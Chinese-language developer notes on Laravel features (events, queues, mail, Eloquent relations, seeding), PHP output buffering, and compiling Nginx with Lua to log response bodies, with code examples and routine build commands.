生成事件和监听者类文件:

php artisan event:generate

会根据上面的 $listen 自动生成收发双方两个文件:

  • app\Events\SomeEvent.php
  • app\Listeners\SomeEventListener.php

事件类 SomeEvent.php 定义如下:

引入 trait SerializesModels 的作用是,当事件类接收 Eloquent models 对象作为参数时,可以更优美地序列化。

namespace App\Events;

use Illuminate\Queue\SerializesModels;

class SomeEvent
{
    use SerializesModels;

    public $order;

    /**
     * Create a new event instance.
     *
     * @param  Order  $order
     * @return void
     */
    public function __construct(Order $order)
    {
        $this->order = $order;
    }
}

监听者 SomeEventListener.php 代码如下:

namespace App\Listeners;

use App\Events\SomeEvent;

class EventListener
{
    public function handle(SomeEvent $event)
    {
        // 在这里写处理逻辑
    }
}

如果想阻止冒泡(传播给其他监听者),那么在 handle() 里 return false 即可,其他该事件的监听者将不再处理该事件。

同样,如果监听者可能要处理长时间的逻辑,那么可以实现 ShouldQueue 接口,则自动会进入异步队列执行。

namespace App\Listeners;

use App\Events\SomeEvent;
use Illuminate\Contracts\Queue\ShouldQueue;

class EventListener
{
    // 队列连接名和队列名
    // 这两个参数可省略,即使用缺省队列
    public $connection = 'sqs';
    public $queue = 'listeners';

    public function handle(SomeEvent $event)
    {
        // 在这里写处理逻辑
    }
}

引入 trait InteractsWithQueue 的作用是让我们可以手动操纵一个队列元素(queue job),例如进行 delete 或 release 等操作,例如:

class SendShipmentNotification implements ShouldQueue
{
    use InteractsWithQueue;

    public function handle(OrderShipped $event)
    {
        if (true) {
            // 30秒后重新塞回队列
            $this->release(30);
        }
    }
}

触发、分发事件

在控制器或其他文件中通过 event(事件实例) 来触发。

namespace App\Http\Controllers;

class OrderController extends Controller
{
    public function test($orderSn)
    {
        $order = Order::findOrFail($orderSn);
        event(new App\Events\SomeEvent($order));
    }
}

手动设置监听

EventServiceProvider.php 的 boot() 方法体内增加:

public function boot()
{
    parent::boot();

    Event::listen('event.name', function ($foo, $bar) {
        //
    });

    Event::listen('event.*', function ($eventName, array $data) {
        //
    });
}

Event Subscribers 订阅者

之前在 EventServiceProvider::$listen 中注册的监听者,一个监听者只能监听一个事件。现在引入新的写法 EventServiceProvider::$subscribe,订阅者是能同时监听多个事件的监听者。

注册订阅者:

class EventServiceProvider extends ServiceProvider
{
    protected $subscribe = [
        'App\Listeners\UserEventSubscriber',
    ];
}

订阅者类 app\Listeners\UserEventSubscriber.php

namespace App\Listeners;

class UserEventSubscriber
{
    /**
     * Register the listeners for the subscriber.
     *
     * @param  Illuminate\Events\Dispatcher  $events
     */
    public function subscribe($events)
    {
        $events->listen(
            'Illuminate\Auth\Events\Login',
            'App\Listeners\UserEventSubscriber@doSth1'
        );

        $events->listen(
            'Illuminate\Auth\Events\Logout',
            'App\Listeners\UserEventSubscriber@doSth2'
        );
    }

    public function doSth1($event)
    {
    }

    public function doSth2($event)
    {
    }
}

File Storage

use Illuminate\Support\Facades\Storage;
use Illuminate\Http\File;

// 相当于 file_put_content
Storage::put('file.jpg', $contents);

// 自动生成保存后的文件名
Storage::putFile('保存至目录', new File('/path/to/photo.jpg'));

// 手动指定保存后的文件名
Storage::putFileAs('保存至目录', new File('/path/to/photo.jpg'), '新文件名');

将上传文件($_FILES)保存

文件名自动生成:

$path = $request->file('avatar')->store('保存至目录');
// 或
$path = Storage::putFile('保存至目录', $request->file('avatar'));

手动指定文件名:

$path = $request->file('avatar')->storeAs('保存至目录', '新文件名');
// 或
$path = Storage::putFileAs('保存至目录', $request->file('avatar'), '新文件名');

Helpers

我觉得一些常用的:

app_path()
base_path('vendor/bin');
config_path()

// 等价于 htmlspecialchars
e('<html>foo</html>');

// read config
config('app.timezone');

// 生成密码
$password = bcrypt('my-secret-password');

// get cache
$value = cache('key');
$value = cache('key', 'default');

// set cache
cache(['key' => 'value'], 5);
cache(['key' => 'value'], Carbon::now()->addSeconds(10));

// 记录日志
info('User login attempt failed.', ['id' => $user->id]);
logger('User has logged in.', ['id' => $user->id]);
logger()->error('You are not allowed here.');

// retry
return retry(5, function () {
    // Attempt 5 times while resting 100ms in between attempts...
}, 100);

// request()
$request = request();
$value = request('key', $default = null)

// response()
return response('Hello World', 200, $headers);
return response()->json(['foo' => 'bar'], 200, $headers);

Queue

缺省队列

在文件 config/queue.phpconnections 数组里:

'redis' => [
    'driver' => 'redis',
    'connection' => 'queue',
    'queue' => 'default',   // 缺省队列,当 push 时不填队列名,则进入缺省队列
    'retry_after' => 90,
],

创建任务:

php artisan make:job SendReminderEmail

如何入列?

// push 到缺省队列
dispatch(new Job);

// push 到指定队列
dispatch((new Job)->onQueue('指定队列名'));

// push 到指定连接的指定队列
dispatch((new Job)->->onConnection('sqs')->onQueue('指定队列名'));

如何出列?


php artisan queue:work [缺省连接名] [--queue=缺省队列名]

php artisan queue:work 连接名 --queue=队列1(高优先),队列2(低优先) --tries=最大重试次数

平滑重启队列

php artisan queue:restart
php artisan queue:work
   {connection? : The name of connection}
   {--queue= : The queue to listen on}
   {--daemon : Run the worker in daemon mode (Deprecated)}
   {--once : Only process the next job on the queue}
   {--delay=0 : Amount of time to delay failed jobs}
   {--force : Force the worker to run even in maintenance mode}
   {--memory=128 : The memory limit in megabytes}
   {--sleep=3 : Number of seconds to sleep when no job is available}
   {--timeout=60 : The number of seconds a child process can run}
   {--tries=0 : Number of times to attempt a job before logging it failed, 如果不指定,表示无限重试}

retry_after 和 —timeout

retry_after 在 config/queue.php 中每个队列连接中设置,缺省是90秒。 –timeout 在出列命令众设置,或者单个 Job 类中设置,缺省是60秒。

namespace App\Jobs;

class ProcessPodcast implements ShouldQueue
{
    public $tries = 5;
    public $timeout = 120;
}

retry_after 必须比 –timeout 大,否则任务可能执行两次。 具体没搞懂。待研究

If queued listener exceeds the maximum number of attempts as defined by your queue worker, the failed method will be called on your listener. The failed method receives the event instance and the exception that caused the failure:

class SendShipmentNotification implements ShouldQueue
{
    use InteractsWithQueue;

    public function handle(OrderShipped $event)
    {
        //
    }

    public function failed(OrderShipped $event, $exception)
    {
        //
    }
}

任务的前置、后置事件

放入到任意一个 ServiceProvider 中

Queue::before(function (JobProcessing $event) {
    // $event->connectionName
    // $event->job
    // $event->job->payload()
});

Queue::after(function (JobProcessed $event) {
    // $event->connectionName
    // $event->job
    // $event->job->payload()
});

// execute before the worker attempts to fetch a job from a queue.
Queue::looping(function () {
    while (DB::transactionLevel() > 0) {
        DB::rollBack();
    }
});

Supervisor

配置文件在 /etc/supervisor/conf.d 目录中

重试失败任务

# 列出 failed_jobs 中的失败任务
php artisan queue:failed

# 重试指定失败任务id
php artisan queue:retry 5

# 重试所有失败任务
php artisan queue:retry all

# 忽略指定失败任务id
php artisan queue:forget 5

# 清空所有失败任务
php artisan queue:flush

计划任务 Schedule Tasks

$schedule
    ->command('foo')
    ->weekdays()
    ->hourly()
    ->timezone('America/Chicago')
    ->between('8:00', '17:00')
    ->when(function () {
        return true;
    })
    ->before(function () {
        // Task is about to start...
    })
    ->after(function () {
        // Task is complete...
    })
    ->appendOutputTo('日志输出绝对路径')
    ->emailOutputTo('foo@example.com')
    ->pingBefore('通知外部URL')
    ->thenPing('通知外部URL');

Note: The emailOutputTo, sendOutputTo and appendOutputTo methods are exclusive to the command method and are not supported for call.

如何防止任务重叠执行?

$schedule->command('emails:send')->withoutOverlapping();

让计划任务在维护模式时仍然执行

$schedule->command('emails:send')->evenInMaintenanceMode();

Mail

定义邮件

首先在 config/mail.php 中定义全局 from 发送者:

'from' => [
    'address' => 'noreply@bigins.cn',
    'name' => 'App Name'
],
// 生成普通 HTML 邮件模板
// 文件路径为 app/Mail/OrderShipped.php
php artisan make:mail OrderShipped

// 生成 Markdown 格式邮件模板
php artisan make:mail OrderShipped --markdown=emails.orders.shipped

OrderShipped 类中的所有 public 成员变量都会自动传递到模板中。另外也可以在调用 view() 时单独传递变量。

普通邮件模板(支持 Blade)里传递变量:

public function build()
{
    return $this->view('emails/orders/shipped', [
        'orderName' => $this->order->name,
        'orderPrice' => $this->order->price,
    ]);
}

Markdown 邮件模板里传递变量:

public function build()
{
    return $this->markdown('emails/orders/shipped', [
        'orderName' => $this->order->name,
        'orderPrice' => $this->order->price,
    ]);
}

Markdown 邮件模板里面一些组件的写法,参考官方文档: https://laravel.com/docs/5.4/mail#markdown-mailables

发送邮件

直发:

Mail::to('silverd@qq.com')
    ->send(new OrderShipped($order));

用队列发:

$message = (new OrderShipped($order))
    ->onConnection('sqs')
    ->onQueue('emails');

Mail::to('silverd@qq.com')
    ->queue($message);

用队列发的第二种方法,定义邮件时实现 ShouldQueue 接口,并定义好连接和队列名(未经测试):

use Illuminate\Contracts\Queue\ShouldQueue;

class OrderShipped extends Mailable implements ShouldQueue
{
    public $connection = 'sqs';
    public $queue = 'emails';
}

开发环境假装发邮件

  • 方法1:修改 .env 把 MAIL_DRIVER 改为 log,则只会记录邮件发送日志,不会真发
  • 方法2:在 config/mail.php 中增加以下全局收件人,则所有邮件都会发送给这个假人
'to' => [
    'address' => 'op.sh@bigins.com',
    'name' => 'Example'
],

Notification 通知系统

可以构建一个简单的站内信系统,可选择是否同时发送 SMS/Email/Slack 等。

生成新通知:

php artisan make:notification InvoicePaid

发送方式(有两种)

use App\Notifications\InvoicePaid;

$user->notify(new InvoicePaid($invoice));

Database

Eloquent ORM

Relation 多表关系

一对一 One To One

场景:用户表(users)、用户设置表(user_settings)

class User extends Model
{
    public function settings()
    {
        return $this->hasOne('App\Models\Settings', 'user_id', 'id');
    }
}

然后通过动态属性 User::find(1)->settings 可以读取。

外键可以自定义:

return $this->hasOne('App\Models\Settings', 'user_settings 表的 uid 字段名', '本表的 uid 字段名');

hasOne 的反向定义:belongsTo(貌似很少有这样的使用场景)

class UserSettings extends Model
{
    public function user()
    {
        return $this->belongsTo('App\Models\User', '本表的 uid 字段名', 'users 表的 uid 字段名');
    }
}

一对多 One To Many

场景:文章表(posts)、文章评论表(comments)

定义:

class Post extends Model
{
    public function comments()
    {
        return $this->hasMany('App\Models\Comment', 'foreign_key', 'local_key');
    }
}

读取:

$comments = App\Post::find(1)->comments;

或者带条件的:

$comments = App\Post::find(1)->comments()->where('title', 'foo')->first();

foreach ($comments as $comment) {
    // ...
}

hasMany 的反向定义也是:belongsTo

class Comment extends Model
{
    public function post()
    {
        return $this->belongsTo('App\Models\Post', 'post_id', 'id');
    }
}

读取:

$comment = App\Models\Comment::find(1);
echo $comment->post->title;

多对多 Many To Many

场景:用户表(users)、角色组(roles)、用户角色关系(role_user)

class User extends Model
{
    public function roles()
    {
        return $this->belongsToMany('App\Models\Role', 'role_id');
    }
}

多级 Has Many(Has Many Through)

场景:取指定国家的人发表的所有文章

countries 国家表
    id - integer
    name - string

users 用户表
    id - integer
    country_id - integer
    name - string

posts 文章表
    id - integer
    user_id - integer
    title - string

定义:

class Country extends Model
{
    /**
     * Get all of the posts for the country.
     */
    public function posts()
    {
        return $this->hasManyThrough(
            'App\Models\Post', 'App\Models\User',
            'country_id', 'user_id', 'id'
        );
    }
}

读取:

$country = App\Models\Country::find(1);
echo $country->posts;

多态关联(Polymorphic Relations)

非常有用和常见的一种关系,例如通用的评论系统,可以有文章评论,也可以有视频评论:

posts 文章表
    id - integer
    title - string
    body - text

videos 视频表
    id - integer
    title - string
    url - string

comments 通用评论表
    id - integer
    body - text
    commentable_id - integer
    commentable_type - string -- 重点:存储的模型 class 名,例如 App\Models\Post

Model 定义:

class Comment extends Model
{
    /**
     * Get all of the owning commentable models.
     */
    public function commentable()
    {
        return $this->morphTo();
    }
}

class Post extends Model
{
    /**
     * Get all of the post's comments.
     */
    public function comments()
    {
        return $this->morphMany('App\Models\Comment', 'commentable');
    }
}

class Video extends Model
{
    /**
     * Get all of the video's comments.
     */
    public function comments()
    {
        return $this->morphMany('App\Models\Comment', 'commentable');
    }
}

读取指定文章的评论:

$post = App\Models\Post::find(1);

foreach ($post->comments as $comment) {
    //
}

Eager Loading 热心加载

十分常见、重要的一个特性。例如场景:书籍表(books)、作者表(authors)

class Book extends Model
{
    /**
     * Get the author that wrote the book.
     */
    public function author()
    {
        return $this->belongsTo('App\Models\Author');
    }
}

显示书籍列表,同时显示每本书的作者名:

$books = App\Models\Book::all();

foreach ($books as $book) {
    echo $book->author->name;
}

以上会产生 N+1 条SQL查询:

select * from books;
select * from authors where id = 1;
select * from authors where id = 2;
...
select * from authors where id = $N;

常见的解决办法是:先用 select ... from authors where in 批量查询作者名,然后再循环赋值回 $books。

Laravel 犀利地提供了一个非常简便的办法:通过 with 方法,即可实现 select in 热心加载:

$books = App\Models\Book::with('author')->get();

foreach ($books as $book) {
    echo $book->author->name;
}

以上相当于只执行了2条SQL:

select * from books;
select * from authors where id in (1, 2, 3, 4, 5, ...);

另外 with 方法可以同时预加载多个关系属性:

$books = App\Models\Book::with('author', 'publisher')->get();

加入额外的条件:

$users = App\Models\Book::with(['author' => function ($query) {
    $query->where('name', 'LIKE', '%silverd%');
}])->get();

Lazy Eager Loading(重要)

$books = App\Models\Book::all();

if (一些条件) {
    $books->load('author', 'publisher');
}

或者

if (一些条件) {
    $books->load(['author' => function ($query) {
        $query->orderBy('published_date', 'asc');
    }]);
}

Touching Parent Timestamps

当子模型(belongsTo/belongsToMany)更新后,如何自动更新父模型的 updated_at 字段?

只需要在子模型内增加 $touches 成员属性即可。

class Comment extends Model
{
    /**
     * All of the relationships to be touched.
     *
     * @var array
     */
    protected $touches = ['post'];

    /**
     * Get the post that the comment belongs to.
     */
    public function post()
    {
        return $this->belongsTo('App\Models\Post');
    }
}

Mutators 修改器

例如时间戳字段,读出时转成日期格式,存入时转为 int。 又如某个字段存储 JSON 数据,读出时自动 json_decode,存入时自动 json_encode

举例:order 表的 extra_info 字段是以 JSON 格式存储:

class Order extends Model
{
    // Accessor 访问器
    public function getExtraInfoAttribute($value)
    {
        return json_decode($value, true);
    }

    // Mutator 修改器
    public function setExtraInfoAttribute($value)
    {
        $this->attributes['extra_info'] = json_encode($value);
    }
}

读取:

$order = App\Models\Order::find(1);
$extraInfo = $order->extra_info;

如果仅仅需要做属性的类型强制转换,可以有更简单的方法(Attribute Casting),定义 $casts 属性,支持的类型转换有:integer, real, float, double, string, boolean, object, array, collection, date, datetime, timestamp

class User extends Model
{
    /**
     * The attributes that should be casted to native types.
     *
     * @var array
     */
    protected $casts = [
        'is_admin' => 'boolean',
        'view_count' => 'integer',
        'extra_info' => 'array',
    ];
}

存储时,extra_info 会自动序列化成 JSON 字符串:

$user = App\User::find(1);
$options = $user->options;
$options['key'] = 'value';
$user->options = $options;
$user->save();

Eloquent: Serialization

如何把 Models & Collections 转成数组?

$users = App\User::all();
return $users->toArray();

甚至是含有 relationship 的多层级也能转:

$user = App\User::with('roles')->first();
return $user->toArray();

转成 JSON:

$user = App\User::find(1);
echo $user->toJson();

或者自动触发实例的 __toString() 方法来实现 JSON 自动转换:

echo (string) $user;

既然能把实例当字符串输出,那么路由或控制器就能直接返回,便会自动变成 JSON 输出了:

Route::get('users', function () {
    return App\Model\User::all();
});

隐藏 toArray/toJson 后的个别字段:

class User extends Model
{
    /**
     * The attributes that should be hidden for arrays.
     *
     * @var array
     */
    protected $hidden = ['password', 'posts()'];
}

特别注意:When hiding relationships, use the relationship’s method name, not its dynamic property name.

或者使用 $hidden 的反向:$visible(白名单)

class User extends Model
{
    /**
     * The attributes that should be visible in arrays.
     *
     * @var array
     */
    protected $visible = ['first_name', 'last_name'];
}

一次性隐藏、显示个别字段:

return $user->makeVisible('字段名')->toArray();
return $user->makeHidden('字段名')->toArray();

虚拟的动态属性

有些字段,数据表里没有,但是想在模型里赋值,方便外面使用。有点类似于 VueJS 里的 computed 计算属性。可以通过 上文中的 accessor 访问器来实现。

https://laravel.com/docs/5.4/eloquent-serialization#appending-values-to-json

Database Seeding

生成填充器:database/seeds/UsersTableSeeder.php

php artisan make:seeder UsersTableSeeder

我们在里面的 run() 方法里造数据:

class UsersTableSeeder extends Seeder
{
    public function run()
    {
        $setArrs = [];
        for ($i = 0; $i < 100; $i++) {
            $setArrs[] = [
                'name' => str_random(10),
                'email' => str_random(10).'@gmail.com',
                'password' => bcrypt('secret'),
            ];
        }
        DB::table('users')->insert($setArrs);
    }
}

然后执行指定填充器:

php artisan db:seed --class=UsersTableSeeder

Laravel 缺省自带一个填充器脚本:database/seeds/DatabaseSeeder.php

调用时无需指定名称即表示运行这个脚本:

php artisan db:seed

一个填充器内部可以 call 其他填充器,例如官方推荐的用法,DatabaseSeeder 应该做一个总的调度者,里面只写 call 语句,例如:

use Illuminate\Database\Seeder;

class DatabaseSeeder extends Seeder
{
    public function run()
    {
        $this->call(UsersTableSeeder::class);
        $this->call(Sth1TableSeeder::class);
        $this->call(Sth2TableSeeder::class);
    }
}

另外,以下两条命令等价:

php artisan migrate:refresh --seed

等价于

php artisan migrate:refresh
php artisan db:seed

Package/Vendor

这里讨论的是 Laravel 专用扩展。一个扩展可以是一个模块,包含路由、控制器、视图、配置等。

首先必须有一个自己的 SilverServiceProvider,负责向服务容器注册东西。

发布扩展资源

publishes 动作其实就是 vendor 里代码文件++复制到应用目录去++,让开发者可以使用或自由修改。

扩展配置

public function boot()
{
    // 发布配置文件
    $this->publishes([
        __DIR__ . '/path/to/config/courier.php' => config_path('courier.php'),
    ]);
    // 和原有的配置文件合并(只覆盖第1级下标)
    $this->mergeConfigFrom(
        __DIR__.'/path/to/config/courier.php', 'courier'
    );
}

发布完成后就可以通过 $value = config('courier.option') 来读取了。

扩展路由

public function boot()
{
    // 相当于是 require /path/to/routes.php
    // 里面多了一个路由缓存的判断:如果存在 bootstrap/cache/routes.php 则不引入该文件
    $this->loadRoutesFrom(__DIR__.'/path/to/routes.php');
}

PHP 中 ob_* 系列函数的一些理解

通常来说,ob_* 最常用的用法组合是这样:

<?php

ob_start();
echo '...';
$content = ob_get_contents();

// 清除并关闭缓存,否则会输出到屏幕
ob_end_clean();

// 然后自由处理 $content ...

注:ob_end_* 必须在缓冲区内调用,即必须要有 ob_start 才能 ob_end_*。

输出的多级缓冲机制(ob_start 嵌套)

假设有代码如下:

<?php

ob_start();
echo 'A' . PHP_EOL;
ob_start();
echo 'B' . PHP_EOL;
ob_start();
echo 'C' . PHP_EOL;
ob_end_clean();
ob_end_flush();
ob_end_clean();

结果是什么没有输出,为什么?

每次 ob_start() 都会新建一个缓冲区,PHP 程序本身也有一个最终的输出缓冲区,我们把他叫做F。

步骤解释:

// 初始 F:空

// 新建缓冲区A
// 此时缓存区内容为 F:空, A:空,
ob_start();

// 此时缓存区内容为 F:空, A:'level A'
echo 'level A';

// 新建缓冲区B
// 此时缓存区内容为 F:空, A:'level A', B:空
ob_start();

// 此时缓存区内容为 F:空, A:'level A', B:'level B'
echo 'level B';

// 新建缓冲区C
// 此时缓存区内容为 F:空, A:'level A', B:'level B', C:空
ob_start();

// 此时缓存区内容为 F:空, A:'level A', B:'level B', C:'level C'
echo 'level C';

// 缓冲区C被清空并关闭
// 此时缓存区内容为 F:空, A:'level A', B:'level B'
ob_end_clean();

// 缓冲区B输出到上一级的缓冲区A并关闭
// 此时缓存区内容为 F:空, A:'level A level B'
ob_end_flush();

// 缓冲区A被清空并关闭
// 此时缓冲区A里的内容还没真正输出到最终的F中,因此整个程序也就没有任何输出
ob_end_clean();

flush 和 ob_flush 的区别

1、ob_flush 刷新 PHP 自身的缓冲区 2、flush 只有在 PHP 做为 Apache Module 安装时, 才有实际作用. 它是刷新 WebServer (Apache) 的缓冲区

正确使用俩者的顺序是:先 ob_flush,再 flush。

在其他 sapi 下,不调用 flush 也可以。但为了保证代码可移植性,建议配套使用。

完整的方法说明

PHP 官网文档:http://php.net/manual/zh/ref.outcontrol.php

方法 说明
ob_start 打开输出控制缓冲
ob_clean 清空(擦掉)输出缓冲区
ob_flush 冲刷出(送出)输出缓冲区中的内容
ob_end_clean ob_clean + 关闭输出缓冲
ob_end_flush ob_flush + 关闭输出缓冲
ob_get_clean ob_get_contents + ob_end_clean
ob_get_flush ob_get_contents + ob_end_flush
ob_implicit_flush 打开/关闭隐式刷送。建议关闭。开启相当于在每次 echo/print 后都自动调用 flush()

参考文章:

Nginx 访问日志记录 RespBody 响应内容

Nginx 本身可以通过 $request_body 变量记录请求内容,但响应内容需要通过 Lua 模块来记录:

步骤如下:

安装 LuaJIT:

wget http://luajit.org/download/LuaJIT-2.0.4.tar.gz
tar zxvf LuaJIT-2.0.4.tar.gz
cd LuaJIT-2.0.4
make
make install

安装 Lua:

yum install readline-devel
wget http://www.lua.org/ftp/lua-5.3.3.tar.gz
tar zxvf lua-5.3.3.tar.gz
cd lua-5.3.3
make linux
make install

安装 Nginx 开发包:

cd /usr/local
git clone https://github.com/simpl/ngx_devel_kit.git

安装 LuaNginx 模块:

cd /usr/local
git clone https://github.com/chaoslawful/lua-nginx-module.git

刷新动态库路径缓存:

# 使 ld.so.conf 立即生效
ldconfig --verbose

重新编译 Nginx,加入以下两个参数:

./configure \
    ...
    --add-module=/usr/local/ngx_devel_kit \
    --add-module=/usr/local/lua-nginx-module
make

# 平滑升级
mv /usr/local/nginx/sbin/nginx /usr/local/nginx/sbin/nginx.bak
\cp objs/nginx /usr/local/nginx/sbin/nginx
make upgrade

顺便说一下,如果用的是 lnmp1.3-full 一键包,则修改 /root/soft/lnmp1.3-full/lnmp.conf

Nginx_Modules_Options='--add-module=/usr/local/ngx_devel_kit --add-module=/usr/local/lua-nginx-module'

然后执行 cd /root/soft/lnmp1.3-full && ./upgrade.sh nginx,输入 1.10.2 一路回车就行。

编译完 Nginx 后,修改 /usr/local/nginx/conf/nginx.conf,在日志格式中增加 $resp_body 变量:

# 以 staylife 正在用的 `big_api` 格式示例(实际只加了最后一行):
log_format  big_api  '$remote_addr - $remote_user [$time_local] "$request" '
     '$status $body_bytes_sent "$request_body" "$http_referer" '
     '"$http_user_agent" $http_x_forwarded_for "appid=$http_appid,appver=$http_appver,vuser=$http_vuser" '
     '"phpsessid=$cookie_phpsessid,vuser_cookie=$cookie___vuser" '
     '"$resp_body"'
;

新增 /usr/local/nginx/conf/resp_body.conf 文件:

lua_need_request_body on;

set $resp_body "";
body_filter_by_lua '
    local resp_body = string.sub(ngx.arg[1], 1, 1000)
    ngx.ctx.buffered = (ngx.ctx.buffered or "") .. resp_body
    if ngx.arg[2] then
        ngx.var.resp_body = ngx.ctx.buffered
    end
';

修改对应的虚拟主机配置文件 /usr/local/nginx/conf/vhost/staylife.conf

在 PHP 这一段增加引入 resp_body.conf 文件,例如(加了最后一行):

location ~ [^/]\.php(/|$)
{
    fastcgi_pass  unix:/tmp/php-cgi.sock;
    fastcgi_index index.php;
    include fastcgi.conf;
    include pathinfo.conf;
    include resp_body.conf;
}

附:禁止记录 favicon.ico 的请求日志:

location = /favicon.ico {
    log_not_found off;
    access_log off;
}